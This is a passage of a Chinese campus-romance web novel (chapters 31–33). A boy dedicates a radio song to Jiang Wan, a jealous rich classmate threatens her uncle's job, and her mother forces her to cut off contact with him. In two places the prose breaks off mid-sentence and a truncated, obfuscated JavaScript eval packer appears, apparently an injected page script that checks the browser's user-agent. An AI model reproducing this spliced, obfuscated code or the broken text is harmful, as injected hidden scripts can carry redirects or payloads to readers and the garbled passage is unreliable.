心里像是下了一场雨,终于等到了放晴,他也终于完全理解了她:“你放心,我以后都不会再做出格的事情,一切都按照你的节奏来。我愿意等,我也能等。” 他这话说的不是很直接,模模糊糊中姜挽大概明白他的意思,她没回答,也没拒绝。 恰巧车来,姜挽一脚踏了上去,怕脸上的红晕被他看见,索性就没有回头:“你也早点回去吧。” 下了车,沈曼果然已经在站台处等着了,见姜挽按时到了,难得一见地露出了点笑容:“我还以为你会晚点回来。” “不会,一放学我就回来了,没在学校耽误。” “嗯,这就对了,早点回来,多做几套试卷,把时间都花在学习上,这才是你现在应该做的。” 她妈妈这话,话里话外都是在点她,姜挽当然知道。她不想沈曼不高兴,也就没再多说,点点头表示知道了。 31. 第 31 章 往后几日,不用姜挽再提醒,陈屿便主动承担起了投喂小酒的任务。而且食物也不用姜挽再准备了,都是他在学校的超市买。 时间长了,姜挽还挺不好意思的:“明明是我自己当初决定要喂的,现在却不得不麻烦你帮我。” 陈屿笑了,声音很懒散:“你麻烦我的事还少吗,不怕再多这一件。” 姜挽一想,觉得也是:“要不我请你吃饭吧?” 这招不是他想要的,陈屿没兴趣:“不用,太麻烦。”他突然想到孟云程之前和他提过,现在学校广播台可以点歌,并且好多学生借此向暗恋的对象告白。 当时的他嗤之以鼻,现在恨不得逐帧学习。 虽然暗恋的情歌他不懂,但好在他有更好的替代方法。 “你平时喜欢听什么歌?” 这话题跳跃太快,姜挽有点没跟上:“我吗?” “这里还有第二个人吗?”陈屿一副“她在明知故问”的表情。 “我平时听歌不多,”其实主要是没时间,姜挽开始在脑海里搜索,想来想去也只有一首,还是她听了好几年的,“Strawberries&Cigarettes。” 她已经不记得是从哪里听到的这首歌了,只记得第一次听的时候就很喜欢。无论是歌词还是旋律,似乎都带着一股自由,洒脱,和微醺的感觉。 “草莓和香烟?” “嗯,”姜挽回他,“不过不知道你喜不喜欢。” 毕竟从上次唱歌的情况来看,陈屿在这方面还是有点实力的。有实力的人,一般都挑剔。 “不重要。”反正他喜不喜欢也不是什么重要的事情,只要她喜欢就行。 “什么不重要?” 陈屿忙回神:“我说,马上就要月考了,这次的考试很重要,需要好好准备。” 被他这么一提醒,姜挽才想起来她还有试卷没写完,也就没再继续这个话题。至于陈屿刚才问她的有关歌的事情,自然也就被抛到脑后了。 可她没想到,几天后竟然会在学校的广播里面听到这首歌。 她和尤伽刚吃完午饭,正走在回教室的那条路上。这首歌她太过熟悉了,几乎是旋律响起的一瞬间,姜挽便听出来了。 尤伽没听出来是什么歌,只是觉得旋律好听:“广播站什么时候换风格了,今天这首听起来还不错。” 两人一路走,尤伽一路哼,她们走得慢,还没到教室歌曲就已经结束了。以往结束,便会自动播放下一首,可这次却没有,广播站站长竟然出来发言了,而且能听出来,她的语气很激动。 “同学们,关于刚才这首歌,我想我有必要出来说两句,其实是一个同学找到我,主动要求点这首歌的。” 最近这种事情发生得很频繁,所以她这句话并没有引起大家多大的兴趣。 “我知道,这种事情或许你们已经司空见惯了,可这次不一样,如果听到我接下来说的人名,我保证你们会和我一样激动。”她卖了一个关子,“大家可以先猜一猜,在我们学校,哪个男生最受欢迎?” 听到这句,尤伽下意识看向姜挽:“陈屿怎么跑去点歌了?” 姜挽摇头,她也没搞明白,而且还是这首。她原本还以为是广播站巧合播放的,现在看来并不是。 “那个人就是陈屿!” 随着广播里的声音响起,校园里霎时出现一阵又一阵的惊呼,当然全是女生。 “对了,陈屿同学还说,借这个机会,有些话想对一个人说。我问他需不需要说出对方的名字,他说不需要,只要点了这首歌,那个人就会知道这些话是和她说的。” 沸腾的环境一时间又安静下来,大家都在等,都想知道陈屿究竟会和那个“她”说些什么。 姜挽重重吸了一口气,她比任何人都要紧张。 这大概是出格,是叛逆,总之是她以往人生中从未经历过的事情。 陈屿说的没错,听到这首歌,她就知道那个“她”就是自己了。不过姜挽对他接下来要说的话也是一无所知。 突然,广播里的女声轻咳了下,故意换了一种浪漫的语调,连人称也变了:“不用担心,也不要害怕,做你自己,遵循内心,会有人替你兜底。” 话音落,周围再次响起一阵阵惊呼声,是比刚才还要热烈三分的场面。陈屿这种级别的男神竟然会主动点歌,而且还是专门为了一个人,这场景,真是几百年难遇一次啊。 震惊过后,大家纷纷开始猜测这个幸运的女生到底是谁,不过尤伽不用,她几乎瞬间便锁定了目标:“呦呦,你和陈屿在一起了?” “没有!”姜挽被她的话吓到,连忙否认。 今天陈屿的这个操作,她也没想到,之前他问她喜欢什么歌的时候,姜挽还以为是他想听,没想到竟是为了今天这件事。 而且刚才的话她也听清了,他说让她做自己,遵循内心,会有人替她兜底。那个人是谁,其实也不难猜,因为这么长时间了,他也确实一直都是这么做的。 仔细回想起来,自从她父亲去世后,确实很长一段时间她都没有再听过这种话了。周围所有的声音都是让她懂事,听话,要学会忍耐,只有陈屿让她做自己。 姜挽思绪飘得远,尤伽也没吵她,等她终于回神了,才开口:“我才不信呢,要是你们没在一起,他为什么和你说这些话?” “真的没有。”姜挽否认了和陈屿在一起的事情,却也没有否认刚才那些话确实是和她说的。 “真的?”尤伽有点相信她了,“不过就算现在没在一起,那也快了,老实交代,”她嘻嘻笑,“你们进展到哪一步了?” 姜挽觉得这件事有点复杂,不单单是她和陈屿两个人这么简单,中间还夹着她的母亲,一两句也解释不清,于是干脆直接略过,调转了话题:“要在一起,肯定也是你和孟云程先在一起。” “我和他?”尤伽先是一愣,随即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他这样说,陈屿当然不信。 “怎么,不相信啊,我早晚会证明给你看。” “不用,你证明给尤伽看就行。” 孟云程撇了下嘴,没再继续,继而转了话锋,再次回到之前的话题上:“对了,你和姜挽现在到底是什么情况?之前问你还什么都不说呢,没想到短短时间之内发展这么快。” 陈屿没想到他还记得这件事,敷衍道:“没什么情况,我只是想借机让她知道一些事情而已。” 想让她知道,他会支持她,会等她,时刻都会替她兜底。 虽然陈屿是这么想的,可这次的阵仗闹得这样大,难免也会落到其他人的耳朵里。 尤其是苏青眠,听到的时候当场就怒了,就差直接跳脚了。她这几天本就没闲着,正背地里各种调查姜挽,昨天刚有了进展,今天就遭受一个这么大的打击,简直恨得牙痒痒,暗自骂着一定要让姜挽好看。 32. 第 32 章 一下午,陈屿和姜挽两人,谁都没提刚才广播的事。直到晚上陈屿送她去车站,趁着递书包给她,才试探着开口:“中午广播里的话,你都听到了吧?” 担心他会说一些其他的话,姜挽没接这句,只低着头,伸手要从他手里接过书包。 月色沉静,路灯昏黄,衬得她脸颊莹白一片亮色。陈屿看着,没松手,就这样和她一人扯着一根背带。 姜挽有些窘:“你松手。” “那你先回答我的问题,你到底有没有听到,要是没听到的话,我可以在这里再当着你的面重复一遍。” 这里是公交站台,来来往往地总有行人经过,姜挽担心他真会在这里开口,忙说:“听到了,我听到了。” 陈屿这才松手:“我就是想告诉你,那些话都是真心的,而且不论什么时候都作数。” 听到这句,姜挽蓦地抬起头来看他,对于他的话,和他的心一样,姜挽从不怀疑。她只是惊讶,他会说出“不论什么时候”这样的字眼。 他到底知不知道,这几个字到底意味着什么? 见她这表情,陈屿也大概能猜到她的心理活动,约莫是觉得他在说大话,做不到这些而已。他没再解释,也不需要解释,有些东西,时间长了,总会得到证明的。 不远处传来车灯,陈屿用指节快又轻地碰了下她的脸颊:“车都来了,还发呆。” 姜挽有点尴尬,因为自己刚才的行为,也因为他的动作,以至于坐上车,隔着玻璃和他相望时,她还觉得自己的脸颊烫得厉害。 直到陈屿的身影在夜色下变得越来越模糊,她才抬手摸了下刚才被他碰到的地方。 或许心中有爱的人都一样吧,总是忍不住期许,姜挽也不例外。 虽然她现在不能回应他,也没办法选择,可并不代表她大学以后也不能。也许等她进入大学,她妈妈就不会管她那么严了,等她再长大些,她也可以挣钱,她们就可以从舅舅家搬出去了。 她所需要的不过是再多一些时间。 大概是因为心情不错,姜挽当天晚上睡得很好,一觉到天亮,中途一次都没醒来。 迷迷糊糊中,她听到门外传来一阵争吵声,原本还以为是刚醒来的后遗症,可那声音越来越大,甚至还伴随着摔东西的声音,姜挽才意识到不是梦。 她下床,打算去看下是怎么回事,刚打开门,映入眼帘的便是她舅妈穿着睡衣大声吼叫的场面,姜挽一时竟有些没反应过来。 沈曼就在门口,见她开门要出来,抬手便把房间的门关上了,并交代她:“先不要出来。” 姜挽觉得奇怪,以往早上都是她和妈妈先起来,她舅舅和舅妈从不会起这么早,更别说这一大早吵架的情况了。 她贴近门去听,好一会儿才听明白是她舅舅和舅妈在吵架,好像是关于他舅舅工作的一些事情,具体的姜挽也听不懂,大抵感觉是她舅舅的工作遇到困难,要被降工资,没办法再满足家庭开销之类的。 期间她妈妈和外婆也开口劝过两句,可谭镜的声音太大,脾气又爆,基本是谁开口便怼谁,到最后,直到一声清脆的玻璃杯破碎的声音传来,这场争吵才算结束。 姜挽从卧室出来,客厅只剩沈曼和她外婆两个人,沈曼正拿笤帚整理着碎玻璃片,她外婆则是坐在沙发上抹眼泪。 姜挽要过去帮忙,被沈曼拒绝了:“我收拾就行,你赶紧洗漱去学校,不然一会儿该迟到了。” 姜挽点点头,可离开前,她还是想问一下今天这争吵的原因到底是因为什么:“刚才舅舅和舅妈是因为什么……” 话还没说完,就被沈曼打断了:“小孩子不要管大人的事情,好好学习才是最重要的,你赶紧去收拾,”说着,把她往卫生间推,顺便从钱包里拿了点零钱给她,“今天没时间给你做早饭了,你路上买点。” 虽说舅妈有时候对她确实是有些苛刻,可她们毕竟是借住在人家的房子里,所以见着他们刚才争吵,姜挽心里也不怎么得劲。更何况,这还涉及到她妈妈和外婆,就更会影响她的情绪了。 去学校的一路,姜挽都在想这件事情,太过出神,以至于没注意到差点和对面的人撞上。 姜挽反应过来后,忙道歉,可在看清对面的人后,那一句“对不起”在她嘴里转了好几圈也没说出来。 狭路相逢。 又是苏青眠和她的那几个小跟班,此时正站在姜挽对面挑衅地看着她,看来刚才差点和她们撞上,应该也不是巧合了。 姜挽没打算和她们纠缠,绕过她们,打算从另一条路走。 苏青眠却突然迈步向前拦住她,又让其他人在左右堵着,这样一来,姜挽就彻底没路可以走了。 姜挽和她们平视,眼底是坦荡的果敢与勇毅:“你们到底想干嘛?” 苏青眠不回她,而是轻蔑地笑了声,继而去和旁边的人说笑:“看到了没,现在的人都这么横了,真是越穷越横。撞了人不仅不道歉,竟然还这么理直气壮。” 旁边人也跟着她笑:“是啊,确实没见过,不过谁让人家有本事呢,能在陈屿在大庭广众之下替她撑腰。” “狐媚手段罢了,”苏青眠翻了个白眼,眼尾就差翘到天上去了,“都是穷人那些上不了台面的东西。” 姜挽皱着眉听她们说双簧,苏青眠这人虽说是讨厌,可以往从她嘴里也没听到“穷”这个字,今天她张口闭口都是“穷人”,莫名让姜挽觉得她是意有所指。 姜挽直接开口:“你到底想说什么?” “想说什么?就想说你穷呗!”苏青眠哈哈大笑,像是终于拿捏到了她的痛处,疯狂地在她的伤疤上跳舞,“想说你没有爸爸,想说你寄人篱下,想说你就是那种最卑贱,最最低级的穷人!” 她连说带笑,看起来很疯癫,可从她疯癫里,姜挽也看出了点其他的东西:“你查我?” “是啊,难道你还要和我谈隐私不成?像你这种人,我愿意花时间在你身上,就是对你最大的恩赐了。”苏青眠脸上的笑容逐渐变得扭曲,“你知道我爸爸是做什么的吗?陈屿家里又有什么样的背景吗?就凭你这样的身世,竟然还妄想插在我们中间,真是好笑。” 姜挽任由她说,安静听着,全程下来脸色都没变一下。苏青眠刚才的话要是说对她一点影响没有,那是不可能的。这些都是她心底最深层,最隐秘的东西。如今被人赤裸裸地扒出来,还是以这样的口吻来讽刺,她也是心痛难忍。 可言语而已,她见得多了,心痛只是暂时的,她不会被打倒,更不会因此就放弃。 “你说完了没?” 她这反应,有点超出苏青眠的预料了,苏青眠愣在原地,一时竟没回答。 趁着这个机会,姜挽推开她们走了。 身后传来她们的对话,隐约中姜挽好像听到在说什么“看来做的还不够”,“要让她爸爸再加点力道”之类的。 姜挽听不太明白,也就没怎么在意。想着最差不过也就是再被她们拦几回,还没到她不能承担的地步。 可她没想到,在她不知道的剧情里,这场风波早已蔓延到了其他的地方。 下午放学的时候,她提前收到沈曼的消息,说今天有点事就不去站台接她了,姜挽以为是因为她工作的原因,还叮嘱她不要太劳累,要多注意身体。 可回到家,还没进屋,就听到屋内传来一阵尖锐的争吵声,是她舅舅和舅妈,比早上的更甚,还夹杂骂人的话。 在门口犹豫了会儿,她还是选择推门进去了。入眼便是一片狼藉,抱枕、花瓶全被扔在地上,还有满地的水渍和垃圾,就连桌子和凳子也被移了位,正乱七八糟地横在客厅。 在这一片混乱中,她舅妈正叉着腰指着她舅舅的鼻子骂,而她妈妈则揽着外婆站在一边。 见她进来,沈曼忙过来拉她,想把她往房间送,可因为担心,姜挽没进去:“妈,这到底是怎么回事?” 这次沈曼没再瞒她,就是想瞒,她也瞒不住了:“是你舅舅的工作出了问题,可能会被降职,也可能会开除。” “开除?这么严重?”姜挽简直震惊,她舅舅的工作不错,在单位也有一定的地位,当初她进八中就是她舅舅帮忙安排的,“究竟是因为什么原因?” “不知道,”沈曼摇头,“具体你舅舅没说,听你舅妈说好像是得罪人了。” “得罪人?”也不知为何,姜挽的脑海里突然间就回想起了苏青眠上午的那句话,再让她爸爸加点力度之类的。 沈曼看她出神,还以为她被吓到了,便拉着她进屋:“你先进去写作业吧,这大人的事情你也不懂。” 姜挽点点头,离开前,特意朝舅舅那里看过去一眼,恰巧,舅舅也在看她,这一眼,包含的情绪太多,有挣扎,不舍,还有犹豫,姜挽一时间还以为自己看错了。 接连几天,谭镜和沈峰都处于一种争吵的状态,每天从早起就开始鸡飞狗跳,家里的每一个人都没能躲过。她外婆每天就是哭,她妈妈则是安慰陪着外婆,就连姜挽远在国外的表哥也被惊动了。 姜挽虽然尽力控制了,可一天两天还行,时间长了,尤其是在时刻关注她的人面前,难免还是会被发现一些不寻常。 “你这几天到底怎么了?是不是遇到什么事情了?”路灯下,长凳旁,陈屿从她手中接过小鱼干,直接一口送进了小酒嘴里,“这么短了还不松手,小酒都叫半天了。” “是吗?我没注意到。”姜挽缩回手,有点尴尬地捻了捻指尖,“可能是要考试了,我有点紧张。” “紧张?”陈屿拉她起来,在凳子上坐下,这会儿已经是冬天,两人说话间有一层薄薄的白雾,“你数学成绩不是已经提高了吗?还担心什么?”他顿了下,故意挑眉,“还是说,你想要我这个第一的位置?” 姜挽知道他是在故意逗她,索性也就开口道:“我要你就会给吗?” “你可以试试,或许你求我,我就同意了。” “算了,那我还是自己努力吧,况且被让出来的,感觉也没什么意思。” 陈屿笑了:“没看出来,你自尊心还挺强。” 姜挽反驳他:“那你确实应该反思反思了,我自尊心强也不是一天两天的事情了,这么长时间你都没看出来。” “这样啊,”他朝她靠近两分,微微的一缕淡香划破冬日的清寒,“那可能还得麻烦小姜老师告诉我,我具体应该从哪些方面反思呢。” 姜挽长睫颤了颤:“这种事,当然是得你自己思考,才有意义。” “行,懂了,”陈屿身体往后靠,懒散开口,“那要不要我写个几千字的检讨?” 姜挽想了想:“你要是想写的话,也不是不可以。” “你想的倒是挺美,”陈屿轻轻弹了下她的脑壳,“你这脑袋一天天的少想些乱七八糟的东西,还记得我和你说的吗,有事找我,我会帮你兜底。” 之前是通过广播,这次是他亲口在自己面前说这句话,姜挽只觉得有什么在她心头的位置轻轻碰了下,是他给的承诺。 “嗯。”她轻轻应了声。 可即便答应了,她也并不打算把这些告诉他。陈屿不是她情绪的垃圾桶,更没义务去听她说这些家长里短的事儿。 回去的路上,公交开得格外慢,中途更是一下子上来了好几个精神小妹一样的女孩,姜挽对这些不关注,也就不怎么在意,可这些人却像是有备而来,直接朝着她的方向就来了。 离得近了,姜挽才发现,又是苏青眠她们几个人。姜挽座位的旁边本来是有人的,见这架势,都怕被影响,也就快速移开了。 苏青眠在她旁边坐下,其他几个前后左右坐着,瞬间又把姜挽围在了中间。 姜挽压根没想到她们竟然会丧心病狂到这种地步,实在是觉得厌烦极了,起身就要走,却被苏青眠拦下:“别急着走啊,我们同学见面,你难道不想说说话吗?” 姜挽实在是忍不住,厌恶地甩掉她的手:“你们再这么骚扰我,我报警了。” “哈哈哈……” 又是一阵大笑,和那几人交换了眼神后,苏青眠靠近她,故意压低声音:“放心,我们今天来找你,不是为了为难你,是有事想和你说。” 姜挽直直看着她,眼底反着窗外的月色,衬得很亮。 苏青眠忍不住啧啧感叹:“是挺漂亮的,怪不得能把陈屿迷成那样,可惜……”后面的话她没说完,而是转了话题,“你舅舅家这段日子,应该不好过吧?” 一瞬间,她舅舅和舅妈每日的争吵,舅舅看她的那个挣扎的眼神,还有苏青眠之前说的要“加大力度”之类的话,全都联系在一起了…… “所以,这些都是你在背后搞鬼?”姜挽简直不敢相信,她家的势力竟然能大到这种地步,竟然能操控她舅舅的工作。 “话别说的这么难听,”苏青眠看着她,像看蝼蚁,“我只不过是让我爸爸吩咐了下面人几句话而已,搞鬼真的称不上。再说了,你们 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“想怎么样,我之前就说过了,至于怎么选择,完全在你自己。”苏青眠的眼神横扫过来,警告道,“对了,你也不要想着去找陈屿,就算他在学校里再厉害,外面的事情也没办法解决。这种事情,他要是想帮你的话,就必须得找他的父母。你想他因为这些事去求他父母吗?在他父母还不知道你是谁的时候,就用有色眼镜看你吗?” 其实不用她说,姜挽也不会去找陈屿,这件事实在不应该把他牵扯进来:“你真是疯了。” “疯吗?还好吧,”苏青眠冲着她笑,“我从进高中就喜欢陈屿,这几年不知道和他表白过多少次,虽然每次都被拒绝,可对其他的人,他也从来都不会多看两眼。可自从你来,一切就都不一样了,他关心你,在乎你,更会为了你一次又一次地打破原则。” 苏青眠将她上下打量:“要是一个家庭和我差不多的人也就罢了,偏偏是你这么一个出身如此差的,你和我们根本就不是一个阶层,你凭什么和我抢?” 姜挽想说她没有和她抢,况且感情也不是这样论的,可面对一个这样的,极度疯癫,却又把握着极端权利的人,她觉得说什么也没那么重要了。 “其他人的事情我不知道,我只跟着自己的心走。” 苏青眠像是不着急,甚至还有几分胜券在握的得意:“先别着急回答我,你先回家看看也不迟。要家庭,还是要他,你自己选。” 说罢这句,公交车刚好到站,她们一行人便又浩浩汤汤地下车了。 因为苏青眠的这些话,姜挽回家的一路都很紧张,可当她到家时,却发现今日的家里不仅没有吵架,反而安静得反常,一进门,客厅里的四双眼睛便都同时朝她看了过来。 她不知道的是,其实在她回来前,这里早已爆发了一场比以往任何一次都要严重的争吵,甚至谭镜和沈峰还动了手。 在谭镜的不断施压下,沈峰终于开口解释了缘由,这次的事情和姜挽有关,是有人刻意为之。而且上头也说了,开除他并不是对方的真正目的,只是为了让姜挽低头而已。 一听是这个原因,谭镜更生气了,话里话外骂人的话就没停过,什么“小小年纪不学好”,“上梁不正下梁歪”,“白眼狼”之类的话,说的沈曼脸上青白一片。 这会儿姜挽回来了,沈曼第一反应就是把她拽进房间。 “妈……” “别说话,跟我进去!” 一进屋,沈曼劈头便问:“你和那个男孩还有联系是不是?你们发展到哪一步了?是不是已经在一起了?” 虽说在回来的路上,姜挽已经做了一些心里建设了,可亲眼见到沈曼如此咄咄逼人,还是紧张得不行:“妈妈,你听我解释,不是那样的。” “解释什么?你还有什么好解释的?之前手链的事情我没追究,就是想给你一些空间,以为你自己能处理好,可你呢?你是怎么处理的?不仅还和他继续有联系,还把事情闹得越来越大,现在还对你舅舅的工作造成了影响,我真是没脸活了!” 姜挽被她扯着手腕,一直没办法挣脱,尝试着想解释:“舅舅工作的事情我也是才知道,我也没想到事情会发展成这样,可我和他真的没有和他在一起。” “我不会再相信你了,你不值得我信任!”沈曼偏执得厉害,一把甩开姜挽,就去翻她的书桌,“东西呢,找出来,我现在就把它扔掉!” 书桌里没有,她便又去翻衣柜,姜挽所有的东西都被她扔在地上,一片狼藉,但还是没找到。 很突然的,沈曼开始扇自己的耳光,一下下的,力度很大,边扇还边骂:“怪我,怪我没教育好你!是我的错!” 姜挽真是被吓到了,连忙扑过去抱住她:“妈妈,你到底怎么了?你别吓我?” “我吓你?”沈曼冷笑,眼睛里已经看不出来温情了,像是受了刺激之后的崩溃,不停重复,“我一心一意为你,就是想你好好学习,考个好大学,你呢?你是怎么对我的?你对得起我吗?你们一个两个都这么对我?我到底做错了什么?要被你们这么折磨?” 她几乎是在嘶吼了,姜挽意识到她应该指的不仅仅是这一件事,但这种情况下她也来不及多想,只得道歉:“是我的错,我做错了,我和你道歉,我改。” “真的?”听到这些,沈曼的神情才恢复了一些。 姜挽点头。 “那你以后都不要再和那个男孩见面和说话了。” 姜挽含着眼泪:“妈妈,你在逼我。” “我没有!”沈曼立即反驳,“是你!是你们!你们一个两个都在逼我!你爸爸是这样,你也是这样!说了多少次了,不要早恋,不要早恋,你就是不听!现在事情闹成这样,即便不是为了你舅舅的工作,我也会要求你必须和他断了!” 姜挽没明白这件事情和她爸爸又有什么关系,可这会儿也想不了太多,只得哀求道:“真的没有别的办法了吗?我们……” “没有!除非你不想认我了!你要和我断绝关系!” “你知道我不会的。” “那好,那你就听我的,和他断了,再不要有任何联系。要是你觉得自己开不了口的话,我可以去学校帮你解决,只不过,到时候可能会有点难看。” “不用,”姜挽听到有什么东西“咔咔”碎裂的声音,愣了会儿才反应过来,那声音似乎来自她的身体里面,“我自己可以解决。” 既然结果已经注定,那至少可以让她选择一个相对体面的方式。 陈屿那么好的一个人,他从没做错过什么,不应该被搅入这场漩涡,也更不应该承受这场难堪。 33. 第 33 章 一夜无眠。 天光微亮的时候,姜挽听到窗外有阵阵簌簌的声音,她拉开窗帘去看,果然就见漫天飞雪,一片清白。 下雪了,这是她来北城后遇见的第一场雪,却没想到竟是在这种情况下。 屋外传来敲门声,接着房门从外面被打开,姜挽知道是沈曼,所以也就没有回头。 “早饭好了,你先去洗漱,一会儿过来吃早饭。” “我知道……”一句话还没说完,随着姜挽的转身,她只觉头晕得厉害,下一秒便视力模糊,重心不稳,接着便倒下了地上。 意识还没完全消散前,她听到的最后一句是沈曼在叫她的名字。 姜挽觉得难受,周围像是有很多人在走来走去,身体也仿佛被禁锢,模模糊糊中,沈曼昨晚的那些话又在耳边响起。 “你必须和他断开,不能再有任何联系!” “你这么不懂事,你对得起我吗?” “你要是不按我说的做,我就和你断绝关系!” …… 姜挽想解释,却发现自己开不了口,想争取,又没有力气。她睫毛狠狠一抖,猛地从黑暗中睁开眼。 是医院病房,入目一片白,方才她听到的来来回回走动的声音,应该就是这房间里的护士和家属了。 “呦呦,你醒了,”沈曼的声音在耳边响起,接着递过来一个水杯,“先喝点水。” 姜挽象征性地喝了两口,感觉嗓子好了点才开口:“我为什么会在这里?” “你晕倒了,”沈曼和她解释,“医生说是高烧引起的。” 可至于为什么会高烧,沈曼却没告诉她,急火攻心,精神压力大,这些都是医生根据姜挽的情况分析的原因。 “嗯,”而姜挽对这些似乎也并不怎么在意,她抬手想移动一下,却发现手背正输着液,索性再次躺下,“几点了?” “快十点了。” 原来已经过了这么长时间了。 窗外的雪还在下,树枝上落了一层厚厚的积雪。姜挽看着窗外,眼神没什么聚焦。 沈曼伸手要碰一下她的额头,被她躲开了。 沈曼有些尴尬,许是为了缓和气氛吧,她开口提到了沈峰:“早上你晕倒的时候,你舅舅可着急了,是他开车送你来医院,又是挂号,又是交钱的,一切都弄好了,人才离开。” 能感觉到沈曼是故意和她说这些的,姜挽闭着眼:“麻烦舅舅了。” “都是一家人,没什么麻烦不麻烦的,”沈曼看着她的背影,“对了,我早上和你们老师请过假了,你这几天都要输液,学校可以暂时不用去了。” “好的。”姜挽反正也不想去,她也没想好该如何面对陈屿。 身后的沈曼还没走,感觉到她还有话要说,可姜挽这会儿暂时已经没精力听了:“妈,我想睡一会儿。” “行,那你睡吧,我刚好去工作一会儿。” 姜挽这场病来得急又猛,最后彻底好全,已经是一个星期之后了。 这段时间陈屿没少联系她,可电话和视频次次都被挂断,微信更是一天也回不了一句,但他也没计较,因为知道她生病了,于是每天都在研究补身体的法子,想着等她回学校后好好帮她补一补。 姜挽去学校的当天,尤伽见到她,简直吓了一大跳:“呦呦,你怎么瘦了这么多!” 她身材本就纤细,现在这么一看,甚至是有些瘦弱了,一张小脸只剩巴掌大,衬得那双眼睛更大了。 “没事,可能是最近食欲不太好,吃的东西不多。” “那你这段时间可得多补补。” “嗯。” 陈屿也在旁边,虽没对她变瘦的这件事情评头论足,可眉间的褶皱从见到她就没松开过,他把提前准备好的营养品拿给她:“多吃点这个。” 哪知,姜挽却没接:“不用了,我妈妈给我买了不少。” “你妈妈买的你放在家里吃,这个就在学校吃,不冲突。” “真不用了。” 陈屿被拒绝两次,原本还有些不高兴,可一看她的脸色,瞬间变得有些无措。姜挽此刻的神色很严肃,眼神淡淡的,且脸上也没了以往的那种亲昵感。 她好像,不高兴了。 陈屿有些不安:“你怎么了?是不是我哪里惹你不高兴了?” 姜挽根本就不敢去看他,借着翻书的动作,用力控制着自己的情绪:“不是,我就是觉得不需要而已。” 陈屿有点慌了,开始来回思考自己这几天的行为,最后也没想出个所以然,只得出一条,可能是因为他这几天和她联系少了。 他没犹豫,直接开口:“如果是因为我这几天很少联系你,那我可以解释,我不是不想联系你,只是担心会打扰到你休养,而且……” “陈屿,”姜挽打断她,用力咬了咬自己的下唇,这才抬眸去看他,“我没有因为这件事情生气。” “那是因为什么?” “没有什么,你想多了。” “你没说真话。”陈屿很笃定。 姜挽神色一黯:“随你吧,你一定要这么想,我也没办法。” “你……”陈屿看着她,想说又不敢说,想生气也发不起脾气,最后,连质问都带着委屈的口吻,“你到底怎么了?” 这个问题姜挽没再回答,而是直接用写作业的方式表达了拒绝和他继续沟通。 陈屿见此,虽不得已,可也没再问。 他们之间这不快的氛围一直持续了一天,放学后,姜挽也没和他打招呼,背起书包便走了。陈屿叹了一口气,默默跟在她身后。 好几天没见小酒了,今天再见,发现它比之前胖了不少,看来陈屿这几天把它照顾得很好。 姜挽正蹲下看它吃小鱼干,身旁突然落下一道高大的影子,不用看,她都知道是谁。抬手擦了擦眼角,她起身打算离开。 陈屿却突然拦住她:“我想了一天,你应该是因为生病的原因,所以心情不大好。要是你今天实在不想和我说话的话,没关系,我可以等,等到你明天心情好点了再找你。” 一瞬间,姜挽眼尾狠狠一跳,她都这样对他了,他却还在帮她找借口,她觉得自己卑鄙极了,也残忍极了。 夜风吹来,她撩一把被风吹乱的额发:“你真的不用这么做。” 陈屿看着她,很固执:“你已经不理我了,难道连我等待的机会也要剥夺吗?” 姜挽别开脸,长睫颤了颤:“随你吧。” 一连几天,他们二人之间的氛围都是这么不冷不热的,陈屿倒是也没再追问什么,只不过不管姜挽做什么,都会默默跟在她身后。 他以为只要耐心等待,总能等到她情绪好转的那一天,却没想到这一天还没来,却在某天进教室时,突然发现姜挽换座位了。 由原来他的同桌,换到了离他恨不得八百米远的的地方! “操!”陈屿是真控制不住,也不管是不是早自习,周围有没有其他人,他扔下书包,扯着姜挽的手腕就出了教室。 姜挽震惊极了,一边被他拉着走,一边挣:“陈屿,你放开我!” “别动!”他话虽不重,却是有史以来对姜挽最凶的一次。 清晨的风很冷,呼呼刮在脸上,夹杂着晨起的雾气,让姜挽有些睁不开眼睛。陈屿的步子很大,她几乎是被他拉着跑。 “你到底要带我去哪里?” 陈屿不回答,只一路闷头走。 就在姜挽以为陈屿会以这种速度将她带出学校时,他却突然停下来了,停在教学楼后面的一片小树林,平时很多情侣没事都会来的地方。 刚停下,陈屿便劈头盖脸一顿质问:“为什么要换座位?你换座位为什么不提前和我说?”他虽吼得凶,可那个激动的样子,分明是在心慌。 姜挽手腕被他扯得痛,一边揉着手腕,一边还要忍住刚才因为冷风灌进去,此刻有些痉挛的胃部:“换不换座位,是我自己的事情。” “姜挽!”陈屿突然吼,他是真被她气到了,两边的太阳穴突突跳着,“你是不是真以为我没有脾气?” 姜挽沉默了,她倒是希望他有脾气,狠狠地发出来,再把她羞辱一顿,也好过现在看他这痛苦的样子。 她不说话,陈屿误以为她是默认了:“这件事情,你今天不给我一个交代,我是不会让你回教室的,我说到做到!” 换座位这事,其实姜挽也是昨晚才知道的,是沈曼偷偷背着她给老师打电话要求的。可这会儿,她却不能这么说:“目前这个阶段,我还是觉得学习最重要,不想因为其他事情分心。” “和我坐一起,难道就会影响你学习吗?这两件事情并不冲突,之前不是证明过吗?”陈屿有些急,着急地想要证明些什么,“你不要换,我还可以像以前那样帮你补习数学,只会让你的成绩提升,不会影响你的。” 姜挽攥紧指尖,逼迫自己开口:“可我现在已经不需要补习了。” 果然,听到她这句话,陈屿眼中当即闪过一抹刺痛,不过他很快调整过来:“不需要补数学也没关系的,我还可以帮你补其他的,你知道的,我其他学科也很好。” 这几乎相当于是祈求了,此刻,他站在姜挽面前,低着头,像一个孤注一掷的赌徒,情为码,爱为注,只希望她能再给他一次机会。 这么近的距离,姜挽和他四目相对,实在是不知道该说些什么。 陈屿便乘胜追击:“我知道,你是因为你妈妈,对不对?她不让你和男生接触,但我说过我可以等,等你毕业,等我们到……” “真的不关其他人的事,”姜挽不忍心听他再说下去,“是我自己的原因,我自己不想再和你联系了,不想你再影响到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 